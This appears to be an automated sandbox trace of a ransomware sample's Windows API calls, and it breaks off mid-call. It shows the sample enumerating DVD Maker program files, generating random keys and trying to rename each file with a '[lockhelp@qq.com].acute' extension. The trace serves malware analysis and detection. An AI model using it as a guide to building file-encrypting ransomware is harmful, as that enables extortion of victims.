1 [0274.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.295] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=50688) returned 1 [0274.295] CloseHandle (hObject=0x30c) returned 1 [0274.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax")) returned 0x20 [0274.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\audiodepthconverter.ax.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.295] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\bod_r.TTF" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.296] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=77884) returned 1 [0274.296] CloseHandle (hObject=0x30c) returned 1 [0274.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\bod_r.TTF" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf")) returned 0x20 [0274.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\bod_r.TTF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\bod_r.TTF" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.296] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.296] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=61440) returned 1 [0274.296] CloseHandle (hObject=0x30c) returned 1 [0274.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax")) returned 0x20 [0274.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\directshowtap.ax.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.297] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\DVDMaker.exe" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.297] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=2258432) returned 1 [0274.297] CloseHandle (hObject=0x30c) returned 1 [0274.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\DVDMaker.exe" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe")) returned 0x20 [0274.297] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\DVDMaker.exe" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\DVDMaker.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0274.297] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\DVDMaker.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\DVDMaker.exe" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe")) returned 0 [0274.297] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.298] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=51712) returned 1 [0274.298] CloseHandle (hObject=0x30c) returned 1 [0274.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui")) returned 0x20 [0274.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.298] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.298] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=12288) returned 1 [0274.298] CloseHandle (hObject=0x30c) returned 1 [0274.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui")) returned 0x20 [0274.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.298] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.299] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=7168) returned 1 [0274.299] CloseHandle (hObject=0x30c) returned 1 [0274.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui")) returned 0x20 [0274.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.299] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Eurosti.TTF" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.300] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=56760) returned 1 [0274.300] CloseHandle (hObject=0x30c) returned 1 [0274.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Eurosti.TTF" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf")) returned 0x20 [0274.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Eurosti.TTF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Eurosti.TTF" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.300] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.301] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=41472) returned 1 [0274.301] CloseHandle (hObject=0x30c) returned 1 [0274.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax")) returned 0x20 [0274.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\fieldswitch.ax.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.301] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.301] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=43008) returned 1 [0274.301] CloseHandle (hObject=0x30c) returned 1 [0274.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax")) returned 0x20 [0274.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\offset.ax.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\offset.ax.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.301] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdBase.dll" (normalized: "c:\\program files\\dvd maker\\omdbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.302] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=14967808) returned 1 [0274.302] CloseHandle (hObject=0x30c) returned 1 [0274.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdBase.dll" (normalized: "c:\\program files\\dvd maker\\omdbase.dll")) returned 0x20 [0274.302] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdBase.dll" (normalized: "c:\\program files\\dvd maker\\omdbase.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdBase.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\omdbase.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0274.302] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdBase.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\omdbase.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdBase.dll" (normalized: "c:\\program files\\dvd maker\\omdbase.dll")) returned 0 [0274.302] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdProject.dll" (normalized: "c:\\program files\\dvd maker\\omdproject.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.303] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=4400640) returned 1 [0274.303] CloseHandle (hObject=0x30c) returned 1 [0274.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdProject.dll" (normalized: "c:\\program files\\dvd maker\\omdproject.dll")) returned 0x20 [0274.303] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdProject.dll" (normalized: "c:\\program files\\dvd maker\\omdproject.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdProject.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\omdproject.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0274.303] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdProject.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\omdproject.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdProject.dll" (normalized: "c:\\program files\\dvd maker\\omdproject.dll")) returned 0 [0274.303] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Pipeline.dll" (normalized: "c:\\program files\\dvd maker\\pipeline.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.303] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=1852928) returned 1 [0274.303] CloseHandle (hObject=0x30c) returned 1 [0274.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Pipeline.dll" (normalized: "c:\\program files\\dvd maker\\pipeline.dll")) returned 0x20 [0274.303] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Pipeline.dll" (normalized: "c:\\program files\\dvd maker\\pipeline.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Pipeline.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\pipeline.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0274.303] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Pipeline.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\pipeline.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Pipeline.dll" (normalized: "c:\\program files\\dvd maker\\pipeline.dll")) returned 0 [0274.303] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\PipeTran.dll" (normalized: "c:\\program files\\dvd maker\\pipetran.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.304] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=1884160) returned 1 [0274.304] CloseHandle (hObject=0x30c) returned 1 [0274.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\PipeTran.dll" (normalized: "c:\\program files\\dvd maker\\pipetran.dll")) returned 0x20 [0274.304] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\PipeTran.dll" (normalized: "c:\\program files\\dvd maker\\pipetran.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\PipeTran.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\pipetran.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0274.304] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\PipeTran.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\pipetran.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\PipeTran.dll" (normalized: "c:\\program files\\dvd maker\\pipetran.dll")) returned 0 [0274.304] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.304] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.304] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=78848) returned 1 [0274.304] CloseHandle (hObject=0x30c) returned 1 [0274.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax")) returned 0x20 [0274.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsink.ax.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.304] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.305] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.305] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=52736) returned 1 [0274.305] CloseHandle (hObject=0x30c) returned 1 [0274.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax")) returned 0x20 [0274.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsource.ax.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.305] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\SecretST.TTF" (normalized: "c:\\program files\\dvd maker\\secretst.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.306] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=98824) returned 1 [0274.306] CloseHandle (hObject=0x30c) returned 1 [0274.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\SecretST.TTF" (normalized: "c:\\program files\\dvd maker\\secretst.ttf")) returned 0x20 [0274.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\SecretST.TTF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\secretst.ttf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\SecretST.TTF" (normalized: "c:\\program files\\dvd maker\\secretst.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.306] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.306] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=12516) returned 1 [0274.306] CloseHandle (hObject=0x30c) returned 1 [0274.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh")) returned 0x20 [0274.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Common.fxh.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.306] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.306] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=16940) returned 1 [0274.306] CloseHandle (hObject=0x30c) returned 1 [0274.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx")) returned 0x20 [0274.307] GetFileAttributesW 